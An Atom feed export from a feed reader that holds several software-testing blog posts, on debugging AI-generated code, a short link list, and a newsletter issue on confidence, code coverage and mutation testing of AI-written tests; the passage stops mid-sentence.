<?xml version="1.0"?><feed xmlns:media="http://search.yahoo.com/mrss/" xmlns:gr="http://www.google.com/schemas/reader/atom/" xmlns:idx="urn:atom-extension:indexing" xmlns="http://www.w3.org/2005/Atom" idx:index="no" gr:dir="ltr"><!--
Content-type: Preventing XSRF in IE.

--><generator uri="https://bazqux.com">BazQux Reader</generator><id>tag:google.com,2005:reader/feed/http://007unlicensedtotest.blogspot.com/feeds/posts/default</id><title>blogs</title><subtitle type="html">blogs</subtitle><link rel="self" href="https://bazqux.com/feed/d45a6ead98c5f8f9f99f?no_branding"></link><gr:continuation>6786048327727</gr:continuation><updated>2026-11-09T10:51:53Z</updated><entry gr:crawl-timestamp-msec="1794211200000"><id gr:original-id="https://testingil.com/?p=9924">tag:google.com,2005:reader/item/0000025700000120</id><category term="AI in Development"></category><title type="html">Debugging Code Nobody Remembers Writing</title><published>2026-11-09T08:00:00Z</published><updated>2026-11-09T08:00:00Z</updated><link rel="alternate" href="https://testingil.com/2026/11/debugging-ai-generated-code.html" type="text/html"></link><summary type="html">&lt;p&gt;Before AI we had this problem: The person who wrote the nifty algorithm left the project months ago.&lt;/p&gt;



&lt;p&gt;There’s a bug we have to fix. And you don’t know the code. Good luck! We’re right behind you!&lt;/p&gt;



&lt;p&gt;Now with AI, we’re creating the problem ourselves. We generate code that we barely look at. And it didn’t go through our brains, so it didn’t leave a trace. As the old joke goes – the good news is you always see new code.&lt;/p&gt;



&lt;p&gt;But that’s not funny when you need to fix that bug.&lt;/p&gt;



&lt;hr&gt;



&lt;p&gt;I’ve talked about &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://testingil.com/2026/10/should-you-let-ai-debug-your-code.html&quot;&gt;losing debugging skills&lt;/a&gt; before, but you probably want more down-to-earth advice.&lt;/p&gt;



&lt;p&gt;So, how to debug code I didn’t write. And that goes for both AI and human generated code.&lt;/p&gt;



&lt;h2&gt;Is it really a bug? How do you know?&lt;/h2&gt;



&lt;p&gt;You see, if there’s a test – it’s a great start, we’ll get there in a second. But if not – we’re relying on knowledge in people and in docs. We need to know what’s the expected behavior and what we don’t see.&lt;/p&gt;



&lt;p&gt;With AI code, there’s no one to ask. The prompt is gone, and the intent is gone. So you may need to dig deeper.&lt;/p&gt;



&lt;h2&gt;You know what should happen, you don’t understand why it doesn’t&lt;/h2&gt;



&lt;p&gt;Do you have a test that broke? Excellent. It doesn’t matter what kind of test – API, unit – whatever. Something that worked before but doesn’t now and has a proof means you don’t need to debug, just fix!&lt;/p&gt;



&lt;p&gt;I know, it doesn’t work like that. But it can.&lt;/p&gt;



&lt;p&gt;You don’t have a test? Write one. With the expected behavior, and it should fail. What kind of test to write? This depends on how much you “know” the code. If you have a suspicion the problem is in the backend, don’t write a UI test. If it’s probably in the logic, maybe a unit test will be enough.&lt;/p&gt;



&lt;p&gt;The smaller a test, which fails and gives you the proof that it really doesn’t behave as it should, the better. A smaller test is easier to fix and pass.&lt;/p&gt;



&lt;h2&gt;Before digging, run your failing tests a couple of times, to make sure that you’ve captured the failing behavior. &lt;/h2&gt;



&lt;p&gt;The problem may not happen all the time. Or the setup may be right for the first run, but not the second. And if you’re running AI powered features, the assertions may not capture the right things.&lt;/p&gt;



&lt;h2&gt;Don’t forget the greatest technique of debugging.&lt;/h2&gt;



&lt;p&gt;Binary search debugging. If your test proves the problem is not in part A, change it to start testing B.&lt;/p&gt;



&lt;h2&gt;The rest is proper old school debugging. &lt;/h2&gt;



&lt;p&gt;Breakpoints, printouts and logs. Building models of how the bug can occur, printing state and data, and hoping we catch it when we’re looking.&lt;/p&gt;



&lt;p&gt;Not all bugs are like that.&lt;/p&gt;



&lt;h2&gt;AI bugs are problematic in a couple of aspects. &lt;/h2&gt;



&lt;p&gt;First there’s the repeatability problem. They don’t return the same answer every time. Then there’s the decision of “how correct is the answer”. This may not be a true/false result, but a lot of gray areas.&lt;/p&gt;



&lt;p&gt;That makes it hard to capture a failure, and to understand if what we have is a failure or acceptable.&lt;/p&gt;



&lt;p&gt;It’s the same techniques though – find how to set up the trap, how to spring it, and how you know it caught something. Hopefully the right thing.&lt;/p&gt;



&lt;p&gt;Yes, the classics never die. The difficulty level just goes up.&lt;/p&gt;



&lt;hr&gt;



&lt;p&gt;If your team keeps debugging code nobody remembers writing, that’s where I come in – &lt;strong&gt;mentoring and training for your team.&lt;/strong&gt;&lt;/p&gt;



&lt;p&gt;Mentoring by topic – API testing, unit testing, testing with AI, testing AI features. On your own code and your own decisions. Or training delivered where your team needs the ground covered.&lt;br&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://testingil.com/mentoring-training&quot; rel=&quot;noopener&quot;&gt;Tell me what you’re dealing with&lt;/a&gt;. A couple of lines is enough.&lt;/p&gt;



&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;The post &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://testingil.com/2026/11/debugging-ai-generated-code.html&quot;&gt;Debugging Code Nobody Remembers Writing&lt;/a&gt; first appeared on &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://testingil.com&quot;&gt;TestinGil&lt;/a&gt;.</summary><author><name>Gil Zilberfeld</name></author><source gr:stream-id="feed/http://www.everydayunittesting.com/feed"><id>tag:google.com,2005:reader/feed/http://www.everydayunittesting.com/feed</id><title type="html">Everyday Unit Testing</title><link rel="alternate" href="https://testingil.com" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794204000000"><id gr:original-id="https://karlosmid.com/2026/11/my-learning-bits-for-monday-9th-november-2026">tag:google.com,2005:reader/item/00000563000001ef</id><category term="learning"></category><category term="ai"></category><category term="bubble"></category><category term="agents"></category><category term="context"></category><title type="html">My learning bits for Monday of 9th November 2026</title><published>2026-11-09T06:00:00Z</published><updated>2026-11-09T06:00:00Z</updated><link rel="alternate" href="https://karlosmid.com/2026/11/my-learning-bits-for-monday-9th-november-2026/" type="text/html"></link><summary type="html">&lt;p&gt;Here are my learning bits for today:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;About the AI bubble: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://matteoraso.github.io/im-not-convinced-the-ai-bubble-exists.html#im-not-convinced-the-ai-bubble-exists&quot; rel=&quot;noopener noreferrer&quot;&gt;I’m Not Convinced the AI Bubble Exists&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Discussion on how to separate agent contexts: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://news.ycombinator.com/item?id=50403153&quot; rel=&quot;noopener noreferrer&quot;&gt;Hacker News discussion&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;</summary><author><name></name></author><source gr:stream-id="feed/https://blog.tentamen.eu/feed/"><id>tag:google.com,2005:reader/feed/https://blog.tentamen.eu/feed/</id><title type="html">Tentamen Software Testing Blog</title><link rel="alternate" href="https://karlosmid.com/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794161911000"><id gr:original-id="https://qualityeng.substack.com/p/linky-no-41">tag:google.com,2005:reader/item/00000b1e00000091</id><title type="html">Linky #41: What are we basing our confidence on?</title><published>2026-11-08T18:18:31Z</published><updated>2026-11-08T18:18:31Z</updated><link rel="alternate" href="https://qualityeng.substack.com/p/linky-no-41" type="text/html"></link><summary type="html">&lt;div&gt;&lt;figure&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://substackcdn.com/image/fetch/$s_!PnR8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png&quot; data-component-name=&quot;Image2ToDOM&quot;&gt;&lt;div&gt;&lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://substackcdn.com/image/fetch/$s_!PnR8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 424w, https://substackcdn.com/image/fetch/$s_!PnR8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 848w, https://substackcdn.com/image/fetch/$s_!PnR8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 1272w, https://substackcdn.com/image/fetch/$s_!PnR8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 1456w&quot; sizes=&quot;100vw&quot;&gt;&lt;img width=&quot;1456&quot; height=&quot;813&quot; data-attrs=&quot;{&amp;quot;src&amp;quot;:&amp;quot;https://substack-post-media.s3.amazonaws.com/public/images/36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png&amp;quot;,&amp;quot;srcNoWatermark&amp;quot;:null,&amp;quot;fullscreen&amp;quot;:null,&amp;quot;imageSize&amp;quot;:null,&amp;quot;height&amp;quot;:813,&amp;quot;width&amp;quot;:1456,&amp;quot;resizeWidth&amp;quot;:null,&amp;quot;bytes&amp;quot;:385039,&amp;quot;alt&amp;quot;:null,&amp;quot;title&amp;quot;:null,&amp;quot;type&amp;quot;:&amp;quot;image/png&amp;quot;,&amp;quot;href&amp;quot;:null,&amp;quot;belowTheFold&amp;quot;:false,&amp;quot;topImage&amp;quot;:true,&amp;quot;internalRedirect&amp;quot;:&amp;quot;https://qualityeng.substack.com/i/223900641?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png&amp;quot;,&amp;quot;isProcessing&amp;quot;:false,&amp;quot;align&amp;quot;:null,&amp;quot;offset&amp;quot;:false}&quot; alt data-orig-srcset=&quot;https://substackcdn.com/image/fetch/$s_!PnR8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 424w, https://substackcdn.com/image/fetch/$s_!PnR8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 848w, https://substackcdn.com/image/fetch/$s_!PnR8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 1272w, https://substackcdn.com/image/fetch/$s_!PnR8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png 1456w&quot; src=&quot;https://substackcdn.com/image/fetch/$s_!PnR8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36e339c5-5e45-4d18-8387-da599c493a7b_2974x1660.png&quot; fetchpriority=&quot;high&quot;&gt;&lt;/picture&gt;&lt;div&gt;&lt;div&gt;&lt;button tabindex=&quot;-1&quot; type=&quot;button&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; width=&quot;20&quot; height=&quot;20&quot; viewbox=&quot;0 0 20 20&quot; fill=&quot;none&quot; stroke-width=&quot;1.5&quot; stroke=&quot;var(--color-fg-primary)&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;g&gt;&lt;path d=&quot;M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/svg&gt;&lt;/button&gt;&lt;button tabindex=&quot;-1&quot; type=&quot;button&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20&quot; height=&quot;20&quot; viewbox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&gt;&lt;polyline points=&quot;15 3 21 3 21 9&quot;&gt;&lt;/polyline&gt;&lt;polyline points=&quot;9 21 3 21 3 15&quot;&gt;&lt;/polyline&gt;&lt;line x1=&quot;21&quot; x2=&quot;14&quot; y1=&quot;3&quot; y2=&quot;10&quot;&gt;&lt;/line&gt;&lt;line x1=&quot;3&quot; x2=&quot;10&quot; y1=&quot;21&quot; y2=&quot;14&quot;&gt;&lt;/line&gt;&lt;/svg&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;This week’s links got me thinking about one particular topic: confidence. We’re regularly building software with varying degrees of uncertainty and making decisions with incomplete information. We need confidence in the decisions we’re making, but that confidence needs to come from somewhere.&lt;/p&gt;&lt;p&gt;So what evidence are we using, and how much can we trust it?&lt;/p&gt;&lt;p&gt;This week’s links explore that from a few different angles, from probabilistic thinking and code coverage to agentic evals, AI adoption and the conditions that help people learn.&lt;/p&gt;&lt;h2&gt;Latest post from the QE Newsletter&lt;/h2&gt;&lt;div data-attrs=&quot;{&amp;quot;nodeId&amp;quot;:&amp;quot;f6061c51-03cb-4da3-9c5a-e01ad1d3ca01&amp;quot;,&amp;quot;caption&amp;quot;:&amp;quot;A few weeks ago, I heard Maryna Didkovska share a story about an AI agent handling customer refunds. Anything over $500 was supposed to require human approval, but the agent ended up processing around $1.2 million in refunds over 18 hours. It did its job well, a little too well, and the decisions it made weren’t quite what the organisation intended.&amp;quot;,&amp;quot;cta&amp;quot;:null,&amp;quot;showBylines&amp;quot;:true,&amp;quot;showDescription&amp;quot;:true,&amp;quot;showImage&amp;quot;:true,&amp;quot;size&amp;quot;:&amp;quot;sm&amp;quot;,&amp;quot;isEditorNode&amp;quot;:true,&amp;quot;title&amp;quot;:&amp;quot;Agentic engineering: The controls aren&amp;apos;t enough&amp;quot;,&amp;quot;publishedBylines&amp;quot;:[{&amp;quot;id&amp;quot;:13661790,&amp;quot;name&amp;quot;:&amp;quot;Jit Gosai&amp;quot;,&amp;quot;bio&amp;quot;:&amp;quot;Working in software testing for over 20 years, I currently work as the Principal Tester, supporting teams to create high-quality products by fostering a Culture of Quality. I share my experiences at conferences throughout Europe and in my newsletter&amp;quot;,&amp;quot;photo_url&amp;quot;:&amp;quot;https://substack-post-media.s3.amazonaws.com/public/images/ffc95e6c-1b0c-45d8-aff6-8755a38dd5c0_1125x1125.jpeg&amp;quot;,&amp;quot;is_guest&amp;quot;:false,&amp;quot;bestseller_tier&amp;quot;:null}],&amp;quot;post_date&amp;quot;:&amp;quot;2026-11-01T18:26:37.764Z&amp;quot;,&amp;quot;cover_image&amp;quot;:&amp;quot;https://substackcdn.com/image/fetch/$s_!r6JY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F655bdcaf-ef11-4c63-9da0-752673ef9255_2992x1678.png&amp;quot;,&amp;quot;cover_image_alt&amp;quot;:null,&amp;quot;cover_image_crop&amp;quot;:null,&amp;quot;canonical_url&amp;quot;:&amp;quot;https://qualityeng.substack.com/p/ae-the-controls-arent-enough&amp;quot;,&amp;quot;section_name&amp;quot;:null,&amp;quot;video_upload_id&amp;quot;:null,&amp;quot;id&amp;quot;:223012228,&amp;quot;type&amp;quot;:&amp;quot;newsletter&amp;quot;,&amp;quot;reaction_count&amp;quot;:4,&amp;quot;comment_count&amp;quot;:0,&amp;quot;publication_id&amp;quot;:1213367,&amp;quot;publication_name&amp;quot;:&amp;quot;Quality Engineering Newsletter&amp;quot;,&amp;quot;publication_logo_url&amp;quot;:&amp;quot;https://substackcdn.com/image/fetch/$s_!hE0U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3687517-683c-46b0-896e-b404c986e06a_1280x1280.png&amp;quot;,&amp;quot;belowTheFold&amp;quot;:false,&amp;quot;youtube_url&amp;quot;:null,&amp;quot;show_links&amp;quot;:null,&amp;quot;feed_url&amp;quot;:null}&quot;&gt;&lt;/div&gt;&lt;p&gt;I’ve been down a bit of an AI rabbit hole recently, thinking about what Quality Engineering could mean in an agentic engineering world, where we’re increasingly using AI agents to build software.&lt;/p&gt;&lt;p&gt;One thing that’s become apparent to me is that by developing a better understanding of what could go wrong, we can start thinking about how we influence and respond to systems that behave unpredictably.&lt;/p&gt;&lt;p&gt;In some ways, this feels a little more manageable, as we have a better understanding of where some of our uncertainty is coming from, and there are ways to guide, constrain, monitor and, to a lesser extent, control agent behaviour.&lt;/p&gt;&lt;p&gt;But none of these approaches guarantees the outcomes we want.&lt;/p&gt;&lt;p&gt;And I think that’s something we as an industry need to start acknowledging and getting more comfortable with. &lt;strong&gt;We’re going to be shipping software with uncertainty&lt;/strong&gt;, something we’ve always done, but the speed and autonomy that agents introduce could make the consequences much harder to anticipate and manage.&lt;/p&gt;&lt;p&gt;Rather than pretending we can eliminate that uncertainty, we need to develop ways of understanding it, making it visible and responding when things don’t go as expected.&lt;/p&gt;&lt;p&gt;That’s really what I’ve been exploring in this post. How do teams learn what works, establish appropriate boundaries and develop the confidence to work with agents without simply hoping for the best?&lt;/p&gt;&lt;p&gt;Because, as a friend recently reminded me, hope is not a strategy.&lt;/p&gt;&lt;div&gt;&lt;hr&gt;&lt;/div&gt;&lt;h2&gt;Thinking in probabilities&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://substackcdn.com/image/fetch/$s_!5Yi3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png&quot; data-component-name=&quot;Image2ToDOM&quot;&gt;&lt;div&gt;&lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://substackcdn.com/image/fetch/$s_!5Yi3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 424w, https://substackcdn.com/image/fetch/$s_!5Yi3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 848w, https://substackcdn.com/image/fetch/$s_!5Yi3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 1272w, https://substackcdn.com/image/fetch/$s_!5Yi3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 1456w&quot; sizes=&quot;auto, 100vw&quot;&gt;&lt;img width=&quot;520&quot; height=&quot;350&quot; data-attrs=&quot;{&amp;quot;src&amp;quot;:&amp;quot;https://substack-post-media.s3.amazonaws.com/public/images/26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png&amp;quot;,&amp;quot;srcNoWatermark&amp;quot;:null,&amp;quot;fullscreen&amp;quot;:null,&amp;quot;imageSize&amp;quot;:null,&amp;quot;height&amp;quot;:982,&amp;quot;width&amp;quot;:1456,&amp;quot;resizeWidth&amp;quot;:520,&amp;quot;bytes&amp;quot;:2295114,&amp;quot;alt&amp;quot;:null,&amp;quot;title&amp;quot;:null,&amp;quot;type&amp;quot;:&amp;quot;image/png&amp;quot;,&amp;quot;href&amp;quot;:null,&amp;quot;belowTheFold&amp;quot;:true,&amp;quot;topImage&amp;quot;:false,&amp;quot;internalRedirect&amp;quot;:&amp;quot;https://qualityeng.substack.com/i/223900641?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png&amp;quot;,&amp;quot;isProcessing&amp;quot;:false,&amp;quot;align&amp;quot;:null,&amp;quot;offset&amp;quot;:false}&quot; alt data-orig-srcset=&quot;https://substackcdn.com/image/fetch/$s_!5Yi3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 424w, https://substackcdn.com/image/fetch/$s_!5Yi3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 848w, https://substackcdn.com/image/fetch/$s_!5Yi3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 1272w, https://substackcdn.com/image/fetch/$s_!5Yi3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png 1456w&quot; src=&quot;https://substackcdn.com/image/fetch/$s_!5Yi3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26a3b65e-1c2f-4a86-8562-8b5a9d3f1f4a_1818x1226.png&quot;&gt;&lt;/picture&gt;&lt;div&gt;&lt;div&gt;&lt;button tabindex=&quot;-1&quot; type=&quot;button&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; width=&quot;20&quot; height=&quot;20&quot; viewbox=&quot;0 0 20 20&quot; fill=&quot;none&quot; stroke-width=&quot;1.5&quot; stroke=&quot;var(--color-fg-primary)&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;g&gt;&lt;path d=&quot;M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/svg&gt;&lt;/button&gt;&lt;button tabindex=&quot;-1&quot; type=&quot;button&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20&quot; height=&quot;20&quot; viewbox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&gt;&lt;polyline points=&quot;15 3 21 3 21 9&quot;&gt;&lt;/polyline&gt;&lt;polyline points=&quot;9 21 3 21 3 15&quot;&gt;&lt;/polyline&gt;&lt;line x1=&quot;21&quot; x2=&quot;14&quot; y1=&quot;3&quot; y2=&quot;10&quot;&gt;&lt;/line&gt;&lt;line x1=&quot;3&quot; x2=&quot;10&quot; y1=&quot;21&quot; y2=&quot;14&quot;&gt;&lt;/line&gt;&lt;/svg&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;I was watching this video on &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://youtu.be/p-EZnpcDncQ?si=Sb_Yh0y9u1mdkvrX&amp;amp;t=480&quot;&gt;20 years of productivity advice&lt;/a&gt;, and one of the habits described was thinking in probabilities.&lt;/p&gt;&lt;p&gt;Which got me thinking that this is something we have to do a lot as QEs. We’re working in complex systems where knowing every possible outcome is impossible. You’re almost constantly hedging your bets that things will work, but there’s always a situation or circumstance you’ve not considered.&lt;/p&gt;&lt;p&gt;So thinking in probabilities doesn’t just keep us open to more information. It also helps stop us from looking only for evidence that confirms what we already believe and holding on too tightly to our beliefs when new evidence emerges.&lt;/p&gt;&lt;p&gt;One mistake I made was thinking it’s just about percentages and fractions, e.g. ‘I’m 80% confident that this will work’. While that can help, it’s also about thinking in degrees of confidence. Such as ‘I might be missing something here’, and separating the decision from the outcome.&lt;/p&gt;&lt;p&gt;For instance, you might make a good decision based on the evidence available, but the outcome could still be wrong because of something outside your control.&lt;/p&gt;&lt;p&gt;Which makes me wonder how often we judge the quality of our decisions based on what happened afterwards, rather than what we knew at the time.&lt;/p&gt;&lt;h2&gt;Code coverage doesn’t necessarily protect the behaviour we care about&lt;/h2&gt;&lt;p&gt;I recently subscribed to &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.ontestautomation.com/newsletter/&quot;&gt;Bas Dijkstra’s automation newsletter&lt;/a&gt; (You should subscribe!). Unfortunately, I can’t link to the newsletter post publicly yet, but he’s been running some interesting experiments for a &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://rdaedpb.clicks.mlsend.com/gp/c/v2.k1.P_tZp9uToc_eOZaygtODKtVOJV_Rm-gXQ4eQ3SXE9SPj2WvF8qMrc8SatL3Ad-X5BXpIAY-JyAnZhvsYp9UNmWq8elPobsHjpdZaZ47xERzVcUs1UXmHMlpvDWFDaflyqTs-RY2E245_T2sYoUHtybFYIKXW5sJJdS1sskXl6LCpbwEz5tRUPlS0rbUhNBVdaqHaM2-LnBOizg2Q6oX1m-PhRJn5dNfq5UYqQXNzXs53afQJt89pJp93iCa7UsUGvowkwzGcy8nlpWi2iq8JzfJSDsxGRvXsYp9UNmWq8elPobsHjpdZaZ47xERzVcUs1UXmHMlpvDWFDaflyqTs-RY2E245_T2sYoUHtybFYIKXW5sJJdS1sskXl6LCpbwEz5tRUPlS0rbUhNBVdaqHaM2-LnBOizg2Q6oX1m-PhRJn5dNfq5kUYqQXNzXs53afQJt89pJp93iCa7UsUGvowkwzGcy8nlpWi2iq8JzfJSDsxGRvXs53afQJt89pJp93iCa7UsUGvowkwzGcy8nlpWi2iq8JzfJSDsxGRvXsYp9UNmWq8elPobsHjpdZaZ47xERzVcUs1UXmHMlpvDWFDaflyqTs-RY2E245_T2sYoUHtybFYIKXW5sJJdS1sskXl6LCpbwEz5tRUPlS0rbUhNBVdaqHaM2-LnBOizg2Q6oX1m-PhRJn5dNfq5kUYqQXNzXs53afQJt89pJp93iCa7UsUGvowkwzGcy8nlpWi2iq8JzfJSDsxGRvXs53afQJt89pJp93iCa7UsUGvowkwzGcy8nlpWi2iq8JzfJSDsxGRvXs&quot;&gt;KWSQA talk he’s giving later this week&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Here’s what he learned:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;- Claude is very good at writing lots of tests very quickly, but it has a tendency to add ‘dead weight’ tests, even for small code bases&lt;/em&gt;&lt;br&gt;&lt;em&gt;- Mutation testing and figuring out which tests do not uniquely contribute to mutation coverage is a good way to weed out at least some of that dead weight, but&lt;/em&gt;&lt;br&gt;&lt;em&gt;- Mutation testing in itself is also not the ‘end all and be all’ of what tests you do (not) need, and it takes human judgment to decide which tests are worth keeping, even when you let an LLM do the initial heavy lifting&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;What caught my attention was that Claude initially generated 182 tests, achieving 100% code coverage and 91.67% mutation coverage. It then removed 169 of those tests without changing either score.&lt;/p&gt;&lt;p&gt;But some of the removed tests would have detected changes to important business rules and API contracts.&lt;/p&gt;&lt;p&gt;It got me thinking about how we use coverage to give us confidence in our tests. Code coverage is useful for understanding which parts of our code the tests exercise, but it doesn’t necessarily tell us how well those tests protect the behaviour of the system. And even mutation testing, while giving us more information, has its limitations.&lt;/p&gt;&lt;p&gt;When we’re developing software, we’re often trying to change behaviour intentionally while making sure other important behaviours 